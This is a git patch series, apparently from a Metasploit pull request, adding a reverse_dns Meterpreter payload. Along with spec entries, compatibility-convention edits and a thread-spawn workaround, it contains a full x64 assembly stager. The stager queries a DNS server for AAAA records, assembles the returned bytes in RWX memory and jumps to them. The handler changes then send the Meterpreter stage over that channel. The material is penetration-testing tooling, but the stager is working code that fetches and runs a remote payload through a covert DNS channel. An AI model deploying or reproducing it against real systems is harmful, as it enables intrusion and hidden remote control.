modules_pathname: modules_pathname, reference_name: 'windows/meterpreter/bind_tcp' end + + context 'windows/meterpreter/reverse_dns' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_dns', + 'stages/windows/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_dns' + end context 'windows/meterpreter/bind_tcp_rc4' do it_should_behave_like 'payload cached size is consistent', @@ -3864,6 +3875,17 @@ modules_pathname: modules_pathname, reference_name: 'windows/x64/meterpreter/bind_tcp' end + + context 'windows/x64/meterpreter/reverse_dns' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_dns', + 'stages/windows/x64/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/reverse_dns' + end context 'windows/x64/meterpreter/bind_tcp_uuid' do it_should_behave_like 'payload cached size is consistent', @@ -3992,6 +4014,16 @@ reference_name: 'windows/x64/meterpreter_reverse_tcp' end + context 'windows/x64/meterpreter_reverse_dns' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/windows/x64/meterpreter_reverse_dns' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter_reverse_dns' + end + context 'windows/x64/powershell_bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From 521c99b8467e34b8afc72ad1751085afd94c8781 Mon Sep 17 00:00:00 2001 From: eik00d Date: Sun, 8 Oct 2017 13:48:14 +0100 Subject: [PATCH 06/15] Convention fix --- lib/msf/core/payload/multi.rb | 2 +- lib/msf/core/payload/windows/dllinject.rb | 2 +- lib/msf/core/payload/windows/meterpreter_loader.rb | 2 +- lib/msf/core/payload/windows/reflectivedllinject.rb | 2 +- lib/msf/core/payload/windows/x64/meterpreter_loader.rb | 2 +- lib/msf/core/payload/windows/x64/reflectivedllinject.rb | 2 +- modules/payloads/stagers/windows/x64/reverse_dns.rb | 2 +- 7 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/payload/multi.rb b/lib/msf/core/payload/multi.rb index 172a7ffab916..9a61cae64a57 100644 --- a/lib/msf/core/payload/multi.rb +++ b/lib/msf/core/payload/multi.rb @@ -31,7 +31,7 @@ def initialize(info={}) 'Platform' => ['multi'], 'Arch' => ARCH_ALL, 'Stage' => {'Payload' => ''}, - 'PayloadCompat' => {'Convention' => 'sockedi sockrdi http https'}, + 'PayloadCompat' => {'Convention' => 'sockedi sockrdi http https dns'}, )) end diff --git a/lib/msf/core/payload/windows/dllinject.rb b/lib/msf/core/payload/windows/dllinject.rb index 9acf4b00d2a4..6a31fadc7a7a 100644 --- a/lib/msf/core/payload/windows/dllinject.rb +++ b/lib/msf/core/payload/windows/dllinject.rb @@ -28,7 +28,7 @@ def initialize(info = {}) 'Arch' => ARCH_X86, 'PayloadCompat' => { - 'Convention' => 'sockedi -http -https' + 'Convention' => 'sockedi dns -http -https' }, 'Stage' => { diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index 98824221e368..afdd1c82d8c5 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -28,7 +28,7 @@ def initialize(info = {}) ], 'Platform' => 'win', 'Arch' => ARCH_X86, - 'PayloadCompat' => { 'Convention' => 'sockedi handleedi -https', }, + 'PayloadCompat' => { 'Convention' => 'sockedi dns handleedi -https', }, 'Stage' => { 'Payload' => "" } )) end diff --git a/lib/msf/core/payload/windows/reflectivedllinject.rb b/lib/msf/core/payload/windows/reflectivedllinject.rb index b740201d30dc..fe131838954f 100644 --- a/lib/msf/core/payload/windows/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/reflectivedllinject.rb @@ -29,7 +29,7 @@ def initialize(info = {}) ], 'Platform' => 'win', 'Arch' => ARCH_X86, - 'PayloadCompat' => { 'Convention' => 'sockedi -https', }, + 'PayloadCompat' => { 'Convention' => 'sockedi dns -https', }, 'Stage' => { 'Payload' => "" } )) diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb index 257e2cc79c8f..c50f66af96b4 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb @@ -29,7 +29,7 @@ def initialize(info = {}) ], 'Platform' => 'win', 'Arch' => ARCH_X64, - 'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi -https' }, + 'PayloadCompat' => { 'Convention' => 'sockrdi dns handlerdi -https' }, 'Stage' => { 'Payload' => "" } )) end diff --git a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb index 10c7dca74093..273f0385b17c 100644 --- a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb @@ -29,7 +29,7 @@ def initialize(info = {}) ], 'Platform' => 'win', 'Arch' => ARCH_X64, - 'PayloadCompat' => { 'Convention' => 'sockrdi' }, + 'PayloadCompat' => { 'Convention' => 'sockrdi dns' }, 'Stage' => { 'Payload' => "" } )) diff --git a/modules/payloads/stagers/windows/x64/reverse_dns.rb b/modules/payloads/stagers/windows/x64/reverse_dns.rb index 96e5ea8ba74b..2f644fbcc458 100644 --- a/modules/payloads/stagers/windows/x64/reverse_dns.rb +++ b/modules/payloads/stagers/windows/x64/reverse_dns.rb @@ -24,6 +24,6 @@ def initialize(info = {}) 'Arch' => ARCH_X64, 'Handler' => Msf::Handler::ReverseDns, 'Stager' => { 'RequiresMidstager' => false }, - 'Convention' => 'sockedi dns')) + 'Convention' => 'sockrdi dns')) end end From 34a6441757863090e25584111a0d3573757961d7 Mon Sep 17 00:00:00 2001 From: eik00d Date: Tue, 10 Oct 2017 22:50:35 +0100 Subject: [PATCH 07/15] x64 shellcode done --- lib/msf/core/payload/windows/reverse_dns.rb | 10 +- .../core/payload/windows/x64/reverse_dns.rb | 306 +++++++++++++++++- 2 files changed, 309 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_dns.rb b/lib/msf/core/payload/windows/reverse_dns.rb index 18dea1f7b3ff..a8acfbc588c5 100644 --- a/lib/msf/core/payload/windows/reverse_dns.rb +++ b/lib/msf/core/payload/windows/reverse_dns.rb @@ -102,7 +102,7 @@ def asm_reverse_dns(opts={}) asm = %Q^ ; Input: EBP must be the address of 'api_call'. - ;int 3 + ;;;;;;;;; Load DNS API lib ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; push 'pi' ; Push the bytes 'Dnsapi',0,0 onto the stack. push 'Dnsa' ; ... @@ -250,7 +250,7 @@ def asm_reverse_dns(opts={}) mov eax, [esp + 0x18] add eax, 0x18 je parse_end_b - sub eax, 18h + sub eax, 0x18 push eax mov esi, esp ; pointer to DNS_RECORD mov [esi], eax ; ESI < -pointer to DNS_RECORD @@ -290,7 +290,7 @@ def asm_reverse_dns(opts={}) mov eax, esp mov byte ptr[eax + 0x30], '0' ; switch to data mode - ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RESET COUNTER + ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RESET COUNTER mov dword ptr[esp + 0x0c], 50 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GET MEM mov eax, [esp + 0x20] ; get size, that we just recieved @@ -319,9 +319,9 @@ def asm_reverse_dns(opts={}) jne parse_end_db2 mov eax, [esp + 0x18] - add eax, 18h + add eax, 0x18 je parse_end_db - sub eax, 18h + sub eax, 0x18 push eax ; ESI <-pointer to DNS_RECORD mov eax, [esp + 0x20] push eax ; save current offset diff --git a/lib/msf/core/payload/windows/x64/reverse_dns.rb b/lib/msf/core/payload/windows/x64/reverse_dns.rb index aeb92a386b8d..468c9dd48d19 100644 --- a/lib/msf/core/payload/windows/x64/reverse_dns.rb +++ b/lib/msf/core/payload/windows/x64/reverse_dns.rb @@ -98,12 +98,314 @@ def asm_reverse_dns(opts={}) ns_server = "0x%.8x" % Rex::Socket.addr_aton(opts[:ns_server]||"0.0.0.0").unpack("V").first domain_length= domain.length + 18 - alloc_stack = (domain_length) + (4 - (domain_length % 4)) + alloc_stack = (domain_length) + (8 - (domain_length % 8)) reliable = opts[:reliable] asm = %Q^ - nop + ; Input: RBP must be the address of 'api_call'. + + ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + xor rbx, rbx ; stack alignment + push rbx + ;;;;;;;;; Load DNS API lib ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + mov r14, 'Dnsapi' ; Push the bytes 'Dnsapi',0,0 onto the stack. + push r14 + mov rcx, rsp + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call rbp ; LoadLibraryA( "Dnsapi" ) + ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + call get_eip + + get_eip: + pop rax + jmp start_code + + hostname: + db "7812.000g.0000.0.#{domain}", 0x00 + + ;;;;;;;;;;; INCREMENT DOMAIN + increment: + push rbp + mov rbp, rsp + add rbp, 0x10 + + mov rax, [rbp+8] ; DOMAIN + add rax, [rbp] ; offset + + ; domain inc proc + mov eax, dword ptr[rax] + mov ebx, eax + shl eax, 16 + shr eax, 16 + shr ebx, 16 + inc bh + cmp bh, 0x3a + jnz increment_done + mov bh, 0x30 + inc bl + cmp bl, 0x3a + jnz increment_done + mov bl, 0x30 + inc ah + cmp ah, 0x3a + jnz increment_done + mov ah, 0x30 + inc al + + increment_done: + shl ebx, 16 + or eax, ebx + mov r12, [rbp + 8] + add r12, [rbp] + mov dword ptr[r12], eax + pop rbp + ret 0x10 + + ;;;;;;;;;;; CALL DNS + call_dns: + push rbp + mov r15, rbp + mov rbp, rsp + add rbp, 0x10 + push 20 + push -1 + + dns_loop: + mov rax, [rsp + 8] + test rax, rax + je dns_loop_end ; out of tries 8( + mov rax, [rsp] + test rax, rax + je dns_loop_end ; done, got result + push 0 + mov rax, [rbp + 0x8] ; result + push rax + mov r9, [rbp + 0x10] ; NS IP + mov r8d, 0x248 + mov dx, 0x1c + mov rcx, [rbp] ; domain + mov r10, #{Rex::Text.block_api_hash('Dnsapi.dll', 'DnsQuery_A')} + call r15 + add rsp, 0x30 + mov [rsp], rax + mov rax, [rsp + 8] + dec rax + mov [rsp + 8], rax + jmp dns_loop + dns_loop_end: + pop rax + pop rbp + pop rbp + ret + ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + start_code: + ;;;;;;;;; INIT VARS in stack + + sub rsp, #{alloc_stack} + mov rcx, #{domain_length} + mov rdi, rsp + mov rsi, rax + add rsi, 6 + rep movsb ; copy domain to the stack + xor rax, rax + push rax ; pointer to RWX memory (for stage1) + push rax ; size of stage1 + push rax ; offset + push rax ; * pointer to DNS_RECORD(as result) + push rax + push rax ; * IP4_ARRAY[1] + push #{retry_count} ; * tries counter + + ;;;;;;;;; main proc + + mov rbx, #{ns_server} ; NS IP + mov rax, rsp + add rax, 16 + test rbx, rbx + je no_ns_server + + ; IP4_ARRAY + mov [rax], 1; + mov [rax + 4], ebx + + no_ns_server: + push rax ; NS IP4_ARRAY pointer + add rax, 0x08 + push rax ; DNS_RECORD pointer + add rax, 0x20 + push rax ; DOMAIN pointer + + get_header: + dec [rsp + 0x18] ; load tries number + mov rax, [rsp + 0x18] ; decrement + test rax, rax + je exit_func + mov rax, rsp + add rax, 0x50 + push rax + push 10 + call increment + call call_dns + test eax, eax + jne parse_end_br + mov rax, [rsp + 0x30] + add rax, 0x18 + je parse_end_b + sub rax, 0x18 + push rax + mov rsi, rsp ; pointer to DNS_RECORD + mov [rsi], rax ; ESI < -pointer to DNS_RECORD + mov rbx, [rsi] ; EBX < -current pointer + mov rdx, [rbx] + mov [rsi], rdx ; save Next IP + mov rdx, rbx + add rdx, 0x20 ; EDX < -IP pointer + movzx ecx, byte ptr[rdx + 1] ; header byte 1 + cmp cl, 0x81 ; If this is header flag + jne parse_end_b + movzx ecx, byte ptr[rdx] + cmp cl, 0xfe ; check if fe have data flag in this header + jne parse_end_b + + get_size: + movzx eax, byte ptr[rdx + 0x0a] + test eax, eax + je parse_end_b + cmp eax, 1 + jne parse_end_b + pop rax + mov eax, [rdx + 0xb] ; SIZE of stage 1 + mov [rsp + 0x40], rax + jmp parse_end + parse_end_br: + xor rax, rax + jmp parse_end + parse_end_b: + pop rax + xor rax, rax + parse_end: + test rax, rax + je get_header + + + mov rax, rsp + mov byte ptr[rax + 0x58], '0' ; switch to data mode + ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RESET COUNTER + mov qword ptr[rsp + 0x18], 50 + ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GET MEM + mov rsi, [rsp + 0x40] ; get size, that we just recieved + push 0x40 ; + pop r9 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; + pop r8 ; MEM_COMMIT + mov rdx, rsi ; the newly recieved second stage length. + xor rcx, rcx ; NULL as we dont care where the allocation is. + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, + add rsp, 0x20 + mov [rsp + 0x48], rax ; save pointer to RWX mem + jmp get_data + ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + + ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GETTING DATA LOOP + get_data_next_try: + dec [rsp + 0x18] ; retry_counter decrement + mov rax, [rsp + 0x18] + test eax, eax ; if retry_counter is 0, we done... sorry ggwp + je exit_func + + get_data: + call call_dns + test eax, eax + jne parse_end_db2 + + mov rax, [rsp + 0x30] + add rax, 0x18 + je parse_end_b + sub rax, 0x18 + push rax + mov rax, [rsp + 0x40] + push rax + ip_enum: + mov rax, [rsp+8] + test rax, rax + je copy_end + mov rbx, [rax] ; EBX <-current pointer + mov [rsp + 8], rbx ; save Next IP + mov rdx, rax + add rdx, 0x20 ; EDX <-IP pointer + xor rax, rax + + movzx ecx, byte ptr[rdx + 1] ; header byte 1, size for IP + mov al, cl + and cl, 0x0f ; apply MASK to get size of data in that IP + cmp cl, 0x0e ; amount of bytes in that IP, should be 14 or less + ja parse_end_db + + movzx ebx, byte ptr[rdx] + cmp bl, 0xfe ; if FE, than index offset is 16 + je index_16 + cmp bl, 0xff ; if FF, than index offset in AL reg + je index_al + jmp parse_end_db ; else - something wrong! + + index_16: + mov al, 16 + imul rax, 0x0e + jmp copy_ip_as_data + + index_al: + shr al, 4 + imul rax, 0x0e + + copy_ip_as_data: + mov rsi, rdx ; src - IP addr + add rsi, 2 + mov rbx, [rsp] + mov rdi, [rsp + 0x58] + add rdi, rbx ; dst - RWX mem + add rdi, rax + add [rsp+0x48], rcx + mov rax, rcx + cld + rep movsb ; copy + sub [rsp + 0x50], rax + jmp ip_enum + + copy_end: + add rsp, 0x10 + mov rax, [rsp + 0x40] + test rax, rax + je got_everything + + mov rax, rsp + add rax, 0x50 + push rax + push 5 + call increment + jmp get_data + + parse_end_db: + add rsp, 0x10 + parse_end_db2: + mov rax, rsp + add rax, 0x50 + push rax + push 10 + call increment + jmp get_data_next_try + + got_everything: + ;;;;;;;;;;;;;;;;;;;;;;;;; + mov rax, [rsp + 0x48] + add rax, 4 + jmp rax + ;;;;;;;;;;;;;;;;;;;;;;;;; + + exit_func: ^ if opts[:exitfunk] From ac637705a6364b490b82228c2c8af2470f116104 Mon Sep 17 00:00:00 2001 From: eik00d Date: Tue, 10 Oct 2017 23:01:06 +0100 Subject: [PATCH 08/15] Convention fix --- lib/msf/core/payload/windows/dllinject.rb | 2 +- lib/msf/core/payload/windows/reflectivedllinject.rb | 2 +- lib/msf/core/payload/windows/reverse_dns.rb | 2 +- lib/msf/core/payload/windows/x64/reflectivedllinject.rb | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/windows/dllinject.rb b/lib/msf/core/payload/windows/dllinject.rb index 6a31fadc7a7a..9acf4b00d2a4 100644 --- a/lib/msf/core/payload/windows/dllinject.rb +++ b/lib/msf/core/payload/windows/dllinject.rb @@ -28,7 +28,7 @@ def initialize(info = {}) 'Arch' => ARCH_X86, 'PayloadCompat' => { - 'Convention' => 'sockedi dns -http -https' + 'Convention' => 'sockedi -http -https' }, 'Stage' => { diff --git a/lib/msf/core/payload/windows/reflectivedllinject.rb b/lib/msf/core/payload/windows/reflectivedllinject.rb index fe131838954f..b740201d30dc 100644 --- a/lib/msf/core/payload/windows/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/reflectivedllinject.rb @@ -29,7 +29,7 @@ def initialize(info = {}) ], 'Platform' => 'win', 'Arch' => ARCH_X86, - 'PayloadCompat' => { 'Convention' => 'sockedi dns -https', }, + 'PayloadCompat' => { 'Convention' => 'sockedi -https', }, 'Stage' => { 'Payload' => "" } )) diff --git a/lib/msf/core/payload/windows/reverse_dns.rb b/lib/msf/core/payload/windows/reverse_dns.rb index a8acfbc588c5..3a7a8683b9f0 100644 --- a/lib/msf/core/payload/windows/reverse_dns.rb +++ b/lib/msf/core/payload/windows/reverse_dns.rb @@ -101,7 +101,7 @@ def asm_reverse_dns(opts={}) reliable = opts[:reliable] asm = %Q^ - ; Input: EBP must be the address of 'api_call'. + ; Input: EBP must be the address of 'api_call'. ;;;;;;;;; Load DNS API lib ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; push 'pi' ; Push the bytes 'Dnsapi',0,0 onto the stack. diff --git a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb index 273f0385b17c..10c7dca74093 100644 --- a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb @@ -29,7 +29,7 @@ def initialize(info = {}) ], 'Platform' => 'win', 'Arch' => ARCH_X64, - 'PayloadCompat' => { 'Convention' => 'sockrdi dns' }, + 'PayloadCompat' => { 'Convention' => 'sockrdi' }, 'Stage' => { 'Payload' => "" } )) From ee1d1b0ee245faf52c3c963c4d07e0a87fc1ff4d Mon Sep 17 00:00:00 2001 From: eik00d Date: Sat, 21 Oct 2017 14:39:35 +0100 Subject: [PATCH 09/15] Workaround for merge: thread pawn fix --- lib/msf/core/thread_manager.rb | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/lib/msf/core/thread_manager.rb b/lib/msf/core/thread_manager.rb index abf2aa5c48b5..fb351970537b 100644 --- a/lib/msf/core/thread_manager.rb +++ b/lib/msf/core/thread_manager.rb @@ -89,6 +89,15 @@ def spawn_monitor def spawn(name, crit, *args, &block) t = nil + #WorkAround for DNS migration issues. Problem in spawn function where MeterpreterReciever thread not spawned for unknow reason + # adding a delay will reduce chances of that bug + if name == "MeterpreterReceiver" + + ::IO.select(nil, nil, nil, 1) + + end + ############################## + if block t = ::Thread.new(name, crit, caller, block, *args) do |*argv| ::Thread.current[:tm_name] = argv.shift.to_s From b1d41265fc0e1b1ef12f5b0cf869c285211a8321 Mon Sep 17 00:00:00 2001 From: eik00d Date: Sat, 21 Oct 2017 15:05:40 +0100 Subject: [PATCH 10/15] Workaround testes with bind... same behavior --- lib/msf/core/thread_manager.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/thread_manager.rb b/lib/msf/core/thread_manager.rb index fb351970537b..c902c8314b73 100644 --- a/lib/msf/core/thread_manager.rb +++ b/lib/msf/core/thread_manager.rb @@ -89,7 +89,7 @@ def spawn_monitor def spawn(name, crit, *args, &block) t = nil - #WorkAround for DNS migration issues. Problem in spawn function where MeterpreterReciever thread not spawned for unknow reason + #WorkAround for migration issues. Problem in spawn function where MeterpreterReciever thread not spawned for unknow reason # adding a delay will reduce chances of that bug if name == "MeterpreterReceiver" From 3cf5475bda3629b22a96a58ce700d37b3b5d867e Mon Sep 17 00:00:00 2001 From: eik00d Date: Mon, 23 Oct 2017 10:57:00 +0100 Subject: [PATCH 11/15] handler improvements --- lib/msf/core/handler/reverse_dns.rb | 143 +++++++++++++++++----------- 1 file changed, 87 insertions(+), 56 deletions(-) diff --git a/lib/msf/core/handler/reverse_dns.rb b/lib/msf/core/handler/reverse_dns.rb index e711a34ae20a..233eb12a87d2 100644 --- a/lib/msf/core/handler/reverse_dns.rb +++ b/lib/msf/core/handler/reverse_dns.rb @@ -80,8 +80,8 @@ def add_handler(opts={}) # Starts monitoring for an outbound connection to become established. # def start_handler - # Maximum number of seconds to run the handler + #queue = ::Queue.new ctimeout = 5 if (exploit_config and exploit_config['active_timeout']) @@ -104,10 +104,10 @@ def start_handler self.listener_pairs[phash] = true # Start a new handling thread - self.listener_threads << framework.threads.spawn("BindTcpHandlerListener-#{lport}", false) { + self.listener_threads << framework.threads.spawn("BindTcpHandlerListener-#{lport}", false) { client = nil - print_status("Started bind handler") + print_status("Started bind-DNS handler") if (rhost == nil) raise ArgumentError, @@ -115,60 +115,91 @@ def start_handler caller end - stime = Time.now.to_i - - while (stime + ctimeout > Time.now.to_i) - begin - client = Rex::Socket::Tcp.create( - 'PeerHost' => rhost, - 'PeerPort' => lport.to_i, - 'Proxies' => datastore['Proxies'], - 'Context' => - { - 'Msf' => framework, - 'MsfPayload' => self, - 'MsfExploit' => assoc_exploit - }) - rescue Rex::ConnectionRefused - # Connection refused is a-okay - rescue ::Exception - wlog("Exception caught in bind handler: #{$!.class} #{$!}") - end - - break if client - - # Wait a second before trying again - Rex::ThreadSafe.sleep(0.5) - end - - # Valid client connection? - if (client) - # Increment the has connection counter - self.pending_connections += 1 - - # Timeout and datastore options need to be passed through to the client - opts = { - :datastore => datastore, - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i, - :timeout => 60*20 - } - - # Start a new thread and pass the client connection - # as the input and output pipe. Client's are expected - # to implement the Stream interface. - conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy| - begin - client_copy.put([server_id.length].pack("C") + server_id) - handle_connection(wrap_aes_socket(client_copy), opts) - rescue - elog("Exception raised from BindTcp.handle_connection: #{$!}") + current_name = "NONE" + loop do + begin + session = nil + #If last connection has a valid session or died + if (framework.sessions.length > 0) + + framework.sessions.each_sorted do |k| + session = framework.sessions[k] + end + + + current_name = session.machine_id.to_s + else + current_name = "NONE" end - } - else - wlog("No connection received before the handler completed") + + stime = Time.now.to_i + + if (current_name != "" or framework.sessions.length == 0) + + while (stime + ctimeout > Time.now.to_i) + begin + client = Rex::Socket::Tcp.create( + 'PeerHost' => rhost, + 'PeerPort' => lport.to_i, + 'Proxies' => datastore['Proxies'], + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + rescue Rex::ConnectionRefused + # Connection refused is a-okay + rescue ::Exception + wlog("Exception caught in bind handler: #{$!.class} #{$!}") + end + + break if client + + # Wait a second before trying again + Rex::ThreadSafe.sleep(0.5) + end + + # Valid client connection? + if (client) + + #lqueue.push(client) + + # Increment the has connection counter + self.pending_connections += 1 + + # Timeout and datastore options need to be passed through to the client + opts = { + :datastore => datastore, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, + :timeout => 60*20 + } + + + # Start a new thread and pass the client connection + # as the input and output pipe. Client's are expected + # to implement the Stream interface. + conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy| + begin + + client_copy.put([server_id.length].pack("C") + server_id) + handle_connection(wrap_aes_socket(client_copy), opts) + rescue + elog("Exception raised from BindTcp.handle_connection: #{$!}") + end + } + Rex::ThreadSafe.sleep(5) + else + wlog("No connection received before the handler completed") + end + else + + Rex::ThreadSafe.sleep(5) + end + end end } end From b66c2fe7386f8b2c863ce71372ce51a90dd01543 Mon Sep 17 00:00:00 2001 From: eik00d Date: Wed, 25 Oct 2017 10:21:26 +0100 Subject: [PATCH 12/15] Handler for reverse_dns done... almost 8) --- lib/msf/core/handler/reverse_dns.rb | 149 ++++++++++-------- lib/msf/core/payload/windows/reverse_dns.rb | 7 + lib/msf/core/payload/windows/reverse_http.rb | 8 +- .../core/payload/windows/x64/reverse_dns.rb | 3 + lib/rex/post/meterpreter/client.rb | 9 +- lib/rex/post/meterpreter/client_core.rb | 2 +- 6 files changed, 102 insertions(+), 76 deletions(-) diff --git a/lib/msf/core/handler/reverse_dns.rb b/lib/msf/core/handler/reverse_dns.rb index 233eb12a87d2..0fcca017b211 100644 --- a/lib/msf/core/handler/reverse_dns.rb +++ b/lib/msf/core/handler/reverse_dns.rb @@ -4,8 +4,8 @@ module Handler ### # -# This module implements the Bind TCP handler. This means that -# it will attempt to connect to a remote host on a given port for a period of +# This module implements the reverse DNS handler. This means that +# it will attempt to connect to a remote DNS-Proxy host on a given port for a period of # time (typically the duration of an exploit) to see if a the payload has # started listening. This can tend to be rather verbose in terms of traffic # and in general it is preferable to use reverse payloads. @@ -17,7 +17,7 @@ module ReverseDns # # Returns the handler specific string representation, in this case - # 'bind_tcp'. + # 'reverse_dns'. # def self.handler_type return "reverse_dns" @@ -81,8 +81,7 @@ def add_handler(opts={}) # def start_handler # Maximum number of seconds to run the handler - #queue = ::Queue.new - ctimeout = 5 + ctimeout = 10 if (exploit_config and exploit_config['active_timeout']) ctimeout = exploit_config['active_timeout'].to_i @@ -115,26 +114,25 @@ def start_handler caller end - current_name = "NONE" + current_name = "STAGE" loop do begin session = nil + #If last connection has a valid session or died if (framework.sessions.length > 0) - + framework.sessions.each_sorted do |k| session = framework.sessions[k] - end - - + end current_name = session.machine_id.to_s else - current_name = "NONE" + current_name = "STAGE" end stime = Time.now.to_i - if (current_name != "" or framework.sessions.length == 0) + if (current_name != "") while (stime + ctimeout > Time.now.to_i) begin @@ -150,21 +148,20 @@ def start_handler }) rescue Rex::ConnectionRefused # Connection refused is a-okay + rescue ::Exception wlog("Exception caught in bind handler: #{$!.class} #{$!}") end - + break if client - + # Wait a second before trying again Rex::ThreadSafe.sleep(0.5) end - + # Valid client connection? if (client) - #lqueue.push(client) - # Increment the has connection counter self.pending_connections += 1 @@ -172,23 +169,82 @@ def start_handler opts = { :datastore => datastore, :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :comm_timeout => 60*60*24, :retry_total => datastore['SessionRetryTotal'].to_i, :retry_wait => datastore['SessionRetryWait'].to_i, - :timeout => 60*20 + :timeout => 60*20, + :send_keepalives => false } # Start a new thread and pass the client connection # as the input and output pipe. Client's are expected # to implement the Stream interface. - conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy| - begin + conn_threads << framework.threads.spawn("BindDnsHandlerSession", false, client) { |client_copy| + begin + nosess = false + #SEND SERVER_ID client_copy.put([server_id.length].pack("C") + server_id) - handle_connection(wrap_aes_socket(client_copy), opts) + conn = client_copy + #First connect, stage is needed? (or it not the first session and stage alredy there.. + # or it is a stageless payload) + if (current_name == "STAGE" and self.payload_type != Msf::Payload::Type::Single) + if respond_to? :include_send_uuid + if include_send_uuid + uuid_raw = conn.get_once(16, 1) + if uuid_raw + opts[:uuid] = Msf::Payload::UUID.new({raw: uuid_raw}) + end + end + end + p = generate_stage(opts) + # Encode the stage if stage encoding is enabled + begin + p = encode_stage(p) + rescue ::RuntimeError + warning_msg = "Failed to stage" + warning_msg << " (#{conn.peerhost})" if conn.respond_to? :peerhost + warning_msg << ": #{$!}" + print_warning warning_msg + if conn.respond_to? :close && !conn.closed? + conn.close + end + nosess = true + end + + # Give derived classes an opportunity to an intermediate state before + # the stage is sent. This gives derived classes an opportunity to + # augment the stage and the process through which it is read on the + # remote machine. + # + # If we don't use an intermediate stage, then we need to prepend the + # stage prefix, such as a tag + if handle_intermediate_stage(conn, p) == false + p = (self.stage_prefix || '') + p + end + + sending_msg = "Sending #{encode_stage? ? "encoded ":""}stage" + sending_msg << " (#{p.length} bytes)" + # The connection should always have a peerhost (even if it's a + # tunnel), but if it doesn't, erroring out here means losing the + # session, so make sure it does, just to be safe. + if conn.respond_to? :peerhost + sending_msg << " to #{conn.peerhost}" + end + print_status(sending_msg) + + # Send the stage + conn.put(p) + end + + #Start the session + handle_connection(conn, opts) + + self.send_keepalives = false + rescue - elog("Exception raised from BindTcp.handle_connection: #{$!}") + elog("Exception raised from BindDns.handle_connection: #{$!}") end } Rex::ThreadSafe.sleep(5) @@ -204,52 +260,7 @@ def start_handler } end - def wrap_aes_socket(sock) - if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == "" - return sock - end - - socks = Rex::Socket::tcp_socket_pair() - socks[0].extend(Rex::Socket::Tcp) - socks[1].extend(Rex::Socket::Tcp) - - m = OpenSSL::Digest.new('md5') - m.reset - key = m.digest(datastore["AESPassword"] || "") - - Rex::ThreadFactory.spawn('AESEncryption', false) { - c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8') - c1.encrypt - c1.key=key - sock.put([0].pack('N')) - sock.put(c1.iv=c1.random_iv) - buf1 = socks[0].read(4096) - while buf1 and buf1 != "" 